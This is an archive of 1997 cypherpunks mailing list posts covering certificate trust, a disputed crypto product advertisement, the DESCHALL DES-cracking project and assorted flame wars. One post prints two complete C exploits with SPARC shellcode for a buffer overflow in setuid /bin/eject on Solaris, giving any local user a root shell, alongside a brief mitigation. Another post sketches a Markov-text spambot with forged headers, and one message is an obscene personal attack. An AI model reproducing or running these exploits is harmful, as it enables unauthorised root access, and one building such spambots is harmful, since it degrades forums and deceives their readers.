From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Thu, 13 Mar 1997 17:06:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Failure of centralized certificates - was "Experts slam PGP
In-Reply-To: <199703132206.RAA04047@alpha.pair.com>
Message-ID: <199703140106.SAA12251@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



e$pam wrote:
>  From: kilgallen@eisner.decus.org (Larry Kilgallen)
>  Subject: Re: Failure of centralized certificates - was "Experts slam PGP
>  encryption"

> In article <5g8i92$4rs@news.ox.ac.uk>, patrick@gryphon.psych.ox.ac.uk
>  (Patrick Juola) writes:

>  >>As a corporation with diverse ownership, it should be much more complex
>  >>for VeriSign to subvert their own system for a cause than it would be
>  >>in the case of an individual such as Phil Zimmermann or David Sternlight.
 
>  The only ones we care about are those with "keys to the kingdom".
>  In the case of those who are so empowered, one needs positive
>  incentive for them to corrupt the database.  Could some political
>  cause provide that incentive -- yes.

  Damn good thing that there are no political issues surrounding crypto.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shiftcontrol@nml.guardian.co.uk (Shift Control)
Date: Sun, 16 Mar 1997 10:15:42 -0800 (PST)
To: shiftcontrol@nml.guardian.co.uk
Subject: Stereotypes and other Shenanigans
Message-ID: <v0153052eaf4df659ff69@[194.205.4.69]>
MIME-Version: 1.0
Content-Type: text/plain


Ireland. The land of the little people; the Emerald Isle of Yeatsian
yearning and pastoral simplicity; a Celtic oasis free from the madness of
modern life. As if.

This week we present the Oirish issue of Shift Control, inspired not so
much by St Patrick's Day as by the clichés enveloping it.

Our Hibernian hypertour starts with a look at 10 Legends of Blarneyland, an
examination of  fables and stereotypes that takes the 'pub' out of
'Republic' and identifies the myths in the mist. Following this, Connor
O'Conn, one of the great Conns of Irish letters, casts his sceptical eye
over 10 Irish literary masterpieces. And in Shamrock 'n' Roll Nicholas
Allen tunes his ear to Irish contributions to the world of pop music, from
Daniel O'Donnell to Boyzone.

Our quiz this week asks how wild you are about Wilde, and in Around the
Word we bung 'Cork' into the search engines.

Also this week: a man gets high on skis, hygiene-freaks get a mouthful of
foam, Kate Spicer gets drunk, and you get a chance to win books, CDs, fame,
and £200.

And finally Freebee, our animated bee and pop historian, presents a new
chapter of his memoirs and lets you send another animated online postcard.

It's all yours, it's all free, and it's all at
http://www.shiftcontrol.com

Cheers,

The Shift Control Team

Shift Control is produced by the Guardian's New Media Lab with help from
Boddingtons and Stella Artois Dry






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Mar 1997 19:28:10 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <k3ci4D12w165w@bwalk.dm.com>
Message-ID: <3328C5B6.E2E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > Dale Thorn wrote:
> > > It was obvious to me (a native speaker) early on that the messages
> > > from GB referring to Dr. Vulis were auto-generated.

> > i am sure they are not machine generated. the content is different
> > every time, plus it srt of depends on the context to which he is replying.
> > like, if vulis's article is about sexual perversions, GB calls him a
> > pervert.

> I've been writing a program (in C, actually, although perl might be
> a good tool for strings and such :-) that would scan Usenet newsgroups
> for trigger keywords and generate randomized follow-ups depending on
> what's been said. It's a big project; I hoped to have it done by
> April 1st, but it'll definitely take longer.

I could write what GB's auto-postings were doing in a handful of
hours.  It was painfully obvious, i.e., it was obvious that GB would
no more take the time to hand type those inane contentless replies
than Gilmore would take the time to hand inspect c-punks messages.

Before the modern DOS word processors came along, text parsers for
formatting and printing were a dime a dozen, and GB's parser gave
no signs of being anything beyond the simplest one-phrase reply 'bot.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Strut Your Stuff" <mail@mailman.com>
Date: Thu, 13 Mar 1997 20:02:27 -0800 (PST)
To: you@georgia.sallynet.com
Subject: 1001 FREE Places to Promote Your Site!
Message-ID: <199703140329.TAA08439@georgia.sallynet.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Mar 1997 19:57:36 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703140332.VAA17635@manifold.algebra.com>
Message-ID: <3328CC96.59F7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> stop spamming the list thorn
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

What the hell is this?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 13 Mar 1997 17:03:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: *** VSA2048 Cryptography Module ***
Message-ID: <970313200154_-869287592@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Greetings! DataET Research, Data Engineering Technologies, has recently
initiated the distribution of VSACM, VSA2048 Cryptography Module. VSACM
implements a relatively new, but extensively advanced and sophisticated,
encryption algorithm named VSA2048. If you are not interested in
incorporating the power of advanced encryption into the software that you
develop, you may want to visit http://members.aol.com/dataetrsch/ if you are
searching for a help file / system development, installation program
development, or shareware distribution and marketing service. Otherwise,
please continue on.

VSACM (the VSA2048 algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Is a cost-effective size of only 50 kilobytes.
o Contains more than 120 procedures and functions.
o Implements the VSA2048 encryption algorithm.
o Allows encryption keys as large as 2048 bits.
o Is extensively key and data dependent.
o Includes 18 algorithm extensions.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Includes time and date locking features. 
o Includes file specific unique encryption features.
o Includes data importance and sensitivity stamping features.

VSACM, being a Windows DLL module, can be accessed through programs developed
with popular application and database programming languages and environments
such as: C, C++, Visual Basic, Delphi, Turbo Pascal, PowerBuilder, Smalltalk,
dBase, Paradox, Access, FoxPro, Oracle, Sybase, SQL, and numerous others.

DataET Research has released a shareware trial edition version of VSACM named
VSACM V2.0.

To download VSACM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/vsacm.html.

I hope you will consider applying VSACM in the software you develop.
Thank-you very much for your time.

Sincerely,

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anand Abhyankar <anand@querisoft.com>
Date: Thu, 13 Mar 1997 07:47:41 -0800 (PST)
To: Jeremey Barrett <jeremey@veriweb.com>
Subject: Re: SecureFile
In-Reply-To: <33203B5E.28D8E637@veriweb.com>
Message-ID: <3328D1C4.2736@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremey Barrett wrote:
> Out of curiosity, do you know how the keys are protected by windoze
> itself?

I am sorry I dont understand you question.

> I have the CAPI cd but have had all of 5 minutes to look at it.  I would
> presume they're hashing your password into a key and then encrypting
> with
> it, or encrypting another key with it. Any idea?

Your Windows password is not used to actually any data. The Windows
login just lets you access your keys. This way even if you change your
Windows password it will not affect yout CAPI installation. As long as
the OS identifies you it lets you access your keys.

> What is somewhat bothersome (and this would go for anything using CAPI
> in the way your product does) is the reliance upon the windoze password.
> If that were compromised, it seems all other CAPI integrated keys would
> also be compromised. Let's hope they choose good passwords, and know not
> to re-use the same one on the net somewhere. :-)

Yes! you are right. Security without a good policy is an open door.

> (BTW, does windoze allow arbitrary length passwords or phrases, or does
> it
> have a short limit?)
> 

This can be configured by the administrator of the domain.

> Jeremey.

Thank you for your interest in SecureFile. Please feel free to ask any
questions you may have.

Anand Abhyankar
-- 
                                             \|||/
                                            ( O-O )
 *----------------*-----------*--------.ooo0--(_)-0ooo.----------*
  Anand Abhyankar                                               
  Querisoft Systems Pvt. Ltd.   Email       : anand@querisoft.com 
  810, Sindh Society, Aundh,    Phone (Off) : 91-212-385925       
  Pune - 411 007. INDIA               (Res) : 91-212-351023
                                          .oooO         
                			  (   )   Oooo.
 *----------------*-----------*------------\ (----(   )----------*
                                            \_)    ) /
                                                  (_/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Mar 1997 20:35:23 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703140359.VAA17922@manifold.algebra.com>
Message-ID: <3328D568.6C97@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > stop spamming the list thorn
> >   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > What the hell is this?

> That's an illustration that it is easy to post things that look
> autogenerated, but are not. On the other hand, it is possible to
> autogenerate things that look non-trivial to a novice.

I'll agree readily with the latter sentence, but not with the
former, if a fairly large number of variations are involved.
After all, who would bother with that much precision typing?

> One gentleman from a third-rate educational institution is known
> for sending tons of lisp-generated articles to one of the moderated
> newsgroups, just to annoy moderators. They do look like they are created
> by someone with a rudiment of inteligence.

Yeah, that's the goal of the spambots. They're actually useful tools
for combatting the elitist parasites, er, tenured professors who
troll these net forums so much. Problem is, the sheeple get confused
about who's doing what to whom...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Thu, 13 Mar 1997 11:18:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Exploit for buffer overflow in /bin/eject - Solaris 2.X
Message-ID: <Pine.GSO.3.95.970313211648.23406C-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain


motto: "Mihai Eminescu was a good friend of Ion Creanga"

Thu  Mar 13 21:01:00 EET 1997  - Romania

"Hole in /bin/eject - buffer overflow"

I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who
have suid exec bit and is owned by root). The buffer overflow problem
appears in an internal function media_find(). The result is: any user can 
gain root shell. So, to prevent /bin/eject exploit, you have to get out 
suid-exec bit from /bin/eject (that's very simple) and compile a little 
program like:

 main()
 {execl("/bin/eject","eject","floppy",(char *)0);}
 
That allows your work station ordinary users to eject floppy (thats the main 
task for eject).

I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 
looks a bit ugly - the buffer is two short - but it works.
For both exploits argv[1] can change the STACK_OFFSET value (for 
troubleshotings +- 8 .. +-64 .. the step is 8).
The interesting thing about this exploit it worked on some machines where 
it was installed some stuff to make inofensiv buffer overflows exploits ... 

Ok you have right down two exploits.
For future I'm planing a web page with security stuff for Solaris so try 
http://www.math.pub.ro/security.

Cristian Schipor - Computer Science Faculty - Bucharest - Romania
E-mail: skipo@sundy.cs.pub.ro, skipo@math.pub.ro, skipo@ns.ima.ro
Phone: 401-410.60.88

------------------------ banana24.c -----------------------------
/* For Solaris 2.4 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 264
   #define EXTRA 36
   #define STACK_OFFSET 8
   #define SPARC_NOP 0xc013a61c
   
   u_char sparc_shellcode[] =

   "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0"/*\x20\x08"*/
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf,(char *) 0);
   perror("execl failed");
   }
------------------------- end of banana24.c ------------------------

------------------------- banana25.c -------------------------------
/* Wrote for Solaris 2.5.1 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
   #define BUF_LENGTH 364
   #define EXTRA 400
   #define STACK_OFFSET 400
   #define SPARC_NOP 0xa61cc013
   
   u_char sparc_shellcode[] =

   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
   "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
   "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
   "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
   "\x91\xd0\x20\x08"
   ;
   
   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }
   
   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;
   
   if(argc > 1) dso=atoi(argv[1]);
   
   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;
   
   char_p = (u_char *) long_p;
   
   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];
   
   long_p = (u_long *) char_p;
   
   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;
   
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/eject", "eject", & buf[1],(char *) 0);
   perror("execl failed");
   }
---------------------------- end of banana25.c ------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 19:42:19 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <3328C5B6.E2E@gte.net>
Message-ID: <199703140332.VAA17635@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


stop spamming the list thorn

Dale Thorn wrote:
> 
> Dr.Dimitri Vulis KOTM wrote:
> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > > Dale Thorn wrote:
> > > > It was obvious to me (a native speaker) early on that the messages
> > > > from GB referring to Dr. Vulis were auto-generated.
> 
> > > i am sure they are not machine generated. the content is different
> > > every time, plus it srt of depends on the context to which he is replying.
> > > like, if vulis's article is about sexual perversions, GB calls him a
> > > pervert.
> 
> > I've been writing a program (in C, actually, although perl might be
> > a good tool for strings and such :-) that would scan Usenet newsgroups
> > for trigger keywords and generate randomized follow-ups depending on
> > what's been said. It's a big project; I hoped to have it done by
> > April 1st, but it'll definitely take longer.
> 
> I could write what GB's auto-postings were doing in a handful of
> hours.  It was painfully obvious, i.e., it was obvious that GB would
> no more take the time to hand type those inane contentless replies
> than Gilmore would take the time to hand inspect c-punks messages.
> 
> Before the modern DOS word processors came along, text parsers for
> formatting and printing were a dime a dozen, and GB's parser gave
> no signs of being anything beyond the simplest one-phrase reply 'bot.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 19:39:22 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: *** VSA2048 Cryptography Module ***
In-Reply-To: <970313200154_-869287592@emout17.mail.aol.com>
Message-ID: <199703140335.VAA17689@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mr. Ramos, 

How about your promise to release the source code? I am sure that you,
as an honest and honorable man and a businessman who needs trust, will
have no problems fulfilling your promise.

Your promise is long overdue.

Right? 

igor

DataETRsch@aol.com wrote:
> 
> Hello,
> 
> Greetings! DataET Research, Data Engineering Technologies, has recently
> initiated the distribution of VSACM, VSA2048 Cryptography Module. VSACM
> implements a relatively new, but extensively advanced and sophisticated,
> encryption algorithm named VSA2048. If you are not interested in
> incorporating the power of advanced encryption into the software that you
> develop, you may want to visit http://members.aol.com/dataetrsch/ if you are
> searching for a help file / system development, installation program
> development, or shareware distribution and marketing service. Otherwise,
> please continue on.
> 
> VSACM (the VSA2048 algorithm)...
> 
> o Is a royalty-free Windows DLL module featuring advanced cryptography.
> o Is a cost-effective size of only 50 kilobytes.
> o Contains more than 120 procedures and functions.
> o Implements the VSA2048 encryption algorithm.
> o Allows encryption keys as large as 2048 bits.
> o Is extensively key and data dependent.
> o Includes 18 algorithm extensions.
> o Processes all forms of binary and ASCII files.
> o Allows multiple encryption layer levels.
> o Has absolutely no back-doors or magical keys.
> o Includes time and date locking features. 
> o Includes file specific unique encryption features.
> o Includes data importance and sensitivity stamping features.
> 
> VSACM, being a Windows DLL module, can be accessed through programs developed
> with popular application and database programming languages and environments
> such as: C, C++, Visual Basic, Delphi, Turbo Pascal, PowerBuilder, Smalltalk,
> dBase, Paradox, Access, FoxPro, Oracle, Sybase, SQL, and numerous others.
> 
> DataET Research has released a shareware trial edition version of VSACM named
> VSACM V2.0.
> 
> To download VSACM V2.0 for free, please go to:
> http://members.aol.com/dataetrsch/vsacm.html.
> 
> I hope you will consider applying VSACM in the software you develop.
> Thank-you very much for your time.
> 
> Sincerely,
> 
> Jeremy K. Yu-Ramos
> President
> DataET Research
> Data Engineering Technologies
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 20:10:09 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <3328CC96.59F7@gte.net>
Message-ID: <199703140359.VAA17922@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > stop spamming the list thorn
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> What the hell is this?
> 

:) That's an illustration that it is easy to post things that look
autogenerated, but are not.

On the other hand, it is possible to autogenerate things that look
non-trivial to a novice.

One gentleman from a third-rate educational institution is known
for sending tons of lisp-generated articles to one of the moderated
newsgroups, just to annoy moderators. They do look like they are created
by someone with a rudiment of inteligence.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Mar 1997 21:50:13 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <3328D568.6C97@gte.net>
Message-ID: <199703140544.XAA00504@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > stop spamming the list thorn
> > >   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> > > What the hell is this?
> 
> > That's an illustration that it is easy to post things that look
> > autogenerated, but are not. On the other hand, it is possible to
> > autogenerate things that look non-trivial to a novice.
> 
> I'll agree readily with the latter sentence, but not with the
> former, if a fairly large number of variations are involved.
> After all, who would bother with that much precision typing?

I am not so sure that it really was precision typing. (and would like to
look at evidence)
 
> > One gentleman from a third-rate educational institution is known
> > for sending tons of lisp-generated articles to one of the moderated
> > newsgroups, just to annoy moderators. They do look like they are created
> > by someone with a rudiment of inteligence.
> 
> Yeah, that's the goal of the spambots. They're actually useful tools
> for combatting the elitist parasites, er, tenured professors who
> troll these net forums so much. Problem is, the sheeple get confused
> about who's doing what to whom...
> 

The paragraph above reminds me of The Right Reverend Colin James III.

He was also trying to combat elitist professors. That is a long and
happy story.

I think that a perfect spambot is possible and is a great exercise in
programming. It is also a cool and very creative idea, and as someone
suggested earlier, it can be created on the basis of cbcb. The net
result of the spambot would probably be a huge scandal and lots of
people leaving usenet. Some of them would be tenured professors. I see
few people who would benefit from it though.

Along the lines of poetry festivals and spambots, I may suggest this.
When I was 16, I wrote a prose writing program in Pascal. It read a long
text and created a table: as the key, it had pairs of words, and as the
data, it had list of all words that follow the pair in the index. The
table was generated by a single pass through the source text, where
there was a moving 3-word window and first two words were used as the
key to the third word. The window moves one word at a time.

The program then attempted to generate intelligent-sounding garbage, in
the following way. It started with a random pair of words from the
source text. It then looked up the table and selected(**) the word that
was most frequently used after these two. Then a moving window moved one
word right to the next and took the last word (which was just selected)
and the word before last as the key into the table, and did that ad 
infinitum.

The loop repeats indefinitely. The text that results looks like it was
written by a schizophrenic -- it is more or less correct grammatically,
uses more or less compatible words and seems to make sense, but the
meaning seems to evade the reader. It is an extremely strange and annoying
feeling.

(**) The problem with this algorithm is that after a while, it starts
looping.  To fix that, the process of selection needs to be randomized
somewhat. The possibe randomizations are obvious.

To apply this to poetry and following-up spambots, it can do the
following [besides forging headers, etc]: for each message, read it,
create the table, and follow up with "I agree" and a schizophrenized
version of the quoted article.

It can also use USENET as a bigger source of the triples. I strongly
suggest to build one table per newsgroup and not mix diff. newsgroups
together.  This way, spambot posting to comp.lang.eiffel would talk
about Eiffel and contravariance, and a spambot posting to
soc.culture.russian would talk about lying homosexual purebred sovok
forgers.

If we think about it for long enough time, this algorithm guarantees
that spambot-generated messages will always be on topic in the
newsgroups that are being spammed. That is going to perplex people 
very much.

	- Igor.


``In my final assault to save time for all men to have Eternal Life, I had
to face eons of time limits (negative micro-split second, split second,
etc., time limits) since I was born at Hanceville and could only make
ten mistakes in one locality or else it would have been over for all men
in Eternity as they would have been exterminated in the spirit and dead
forever in a lethal deadly proton.''

``u.s. atty d.blair watson returned my call today,thank you, he
received a letter from ok. atty general office referring my info
to him about gardner ks 8-10-95. i talked to watson today 3-5-97
watson told me that its not against the law for a federal 
operative to intimadate a person from entering the u.s.federal
courts building, i find that hard to belive but thats what he
said, i guess what one person considers intimadation a other
person might not,i told him about the part of the setup were it
appeared a person was going for a gun,when joe t*** pulled 
towards the FLAGED car and about hit it,its like well did you 
see a gun? no....was i supposed to? would it matter if i had?
what if they shot at me and missed? i think watson missing the
point, if watson knows why          congress voted to stop
wiretap authourity from expanding,he would check out joe T***''




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 14 Mar 1997 00:03:04 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: *** VSA2048 Cryptography Module ***
In-Reply-To: <199703140335.VAA17689@manifold.algebra.com>
Message-ID: <3328EB21.69DC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


> DataETRsch@aol.com wrote:
> > Greetings! DataET Research, Data Engineering Technologies, has recently
> > initiated the distribution of VSACM, VSA2048 Cryptography Module.

Igor Chudov @ home wrote:
> How about your promise to release the source code? I am sure that you,
> as an honest and honorable man and a businessman who needs trust, will
> have no problems fulfilling your promise.
> 
> Your promise is long overdue.

Igor, 
  You have to remember how easily DataRETch's feeling were hurt the last
time they advertised on the CypherPunks list, when list members 'flamed'
them with questions like, "How does it work?"
  So let's try to ask kinder, gentler questions this time around, such
as, "Do the disks come in pretty colors?"
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Fri, 14 Mar 1997 00:29:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Silvernail Concedes / Hides In Shame
In-Reply-To: <970313.203200.4c0.rnr.w165w@sendai.scytale.com>
Message-ID: <199703140829.BAA28188@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Roy M. Silvernail wrote:
> For the rest of the list, my comments were sent to
> an7575@anon.nymserver.com in private mail.  He/she/it chose to quote
> private mail to the list.  Make of that what you will.

  If this is the case, Roy, I apologize.
  I didn't notice that you had changed the reply-to address on your
response to bypass the anonymity of your reply, so it appeared in
my headers in the same format as those replies I receive through
the list.

  I sometimes forget that there are those who do not wish the 
contents of their private email to reflect on their public image.
  I wouldn't lose too much sleep over it, however, since many 
people on the list hate to have their bubbles burst and probably
killfiled me after my first post.

  I'm still waiting for someone to reply to the actual issues I
raised in my post, as opposed dealing with imaginary daemons that
they tacked on to the thread.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rocke Verser <rcv@dopey.verser.frii.com>
Date: Fri, 14 Mar 1997 00:42:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: DESCHALL v0.214 now available -- US/Canada only
Message-ID: <199703140842.BAA03852@dopey.verser.frii.com>
MIME-Version: 1.0
Content-Type: text/plain


Greetings!

DESCHALL Version 0.214 is now available in the US and Canada.
DESCHALL is a client-server based approach to cracking the RSA
DES Challenge.

Information about DESCHALL is available at the following Web site:

     http://www.frii.com/~rcv/deschall.htm

As indicated in the above Web page, Michael Paul Johnson has
graciously agreed to distribute DESCHALL from his export-controlled
North American Crypto Site.  [Thanks, MPJ!]

At the present time, the server is running at about 2% of capacity.
The server can handle a *whole lot* more clients.

Clients are available for Linux, FreeBSD, OS/2, Windows 95/NT,
and Sparc.  [Offers for guest accounts to compile other clients
gladly accepted!]

Pentium 120MHz clients can test about 600,000 keys per second.

Good luck!

-- Rocke Verser, rcv@dopey.verser.frii.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 14 Mar 1997 06:01:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] ElGamal
Message-ID: <199703141357.FAA11256@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


The only `culture' Timmy C[ocksucker] May 
possesses is that cultivated from his foreskin 
scrapings.

           O O  Timmy C[ocksucker] May
            |
          \___/
           \_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 14 Mar 1997 07:06:51 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Is Graham-John's inane spam robogenerated?
In-Reply-To: <199703140544.XAA00504@manifold.algebra.com>
Message-ID: <33296935.3C5E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Along the lines of poetry festivals and spambots, I may suggest this.
> When I was 16, I wrote a prose writing program in Pascal. It read a long
> text and created a table: as the key, it had pairs of words, and as the
> data, it had list of all words that follow the pair in the index. The
> table was generated by a single pass through the source text, where
> there was a moving 3-word window and first two words were used as the
> key to the third word. The window moves one word at a time.
> The loop repeats indefinitely. The text that results looks like it was
> written by a schizophrenic -- it is more or less correct grammatically,
> uses more or less compatible words and seems to make sense, but the
> meaning seems to evade the reader. It is an extremely strange and
> annoying feeling.

If an actor really "gets into" their part, could you easily tell
if the schizophrenia is good acting, or is latent in the actor?
(BTW, does not apply to O.J. Simpson or Ronald Reagan).

I hope you're not writing Pascal any more.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 14 Mar 1997 08:09:22 -0800 (PST)
To: rcv@dopey.verser.frii.com
Subject: Re: DESCHALL v0.214 now available -- US/Canada only
In-Reply-To: <199703140842.BAA03852@dopey.verser.frii.com>
Message-ID: <199703141614.IAA05919@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Rocke Verser writes:
> 
> Greetings!
> 
> DESCHALL Version 0.214 is now available in the US and Canada.
> DESCHALL is a client-server based approach to cracking the RSA
> DES Challenge.
> 
> Information about DESCHALL is available at the following Web site:
> 
>      http://www.frii.com/~rcv/deschall.htm



Sorry, but with no source code I'm not touching it.



-- 
             Eric Murray  ericm@lne.com  ericm@motorcycle.com
  Network security and encryption consulting: www.lne.com/ericm/resume.html
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 14 Mar 1997 06:07:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Silvernail Concedes / Hides In Shame
In-Reply-To: <199703140829.BAA28188@shaman.lycaeum.org>
Message-ID: <4X7J4D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger <an7575@anon.nymserver.com> writes:

> Roy M. Silvernail wrote:
> > For the rest of the list, my comments were sent to
> > an7575@anon.nymserver.com in private mail.  He/she/it chose to quote
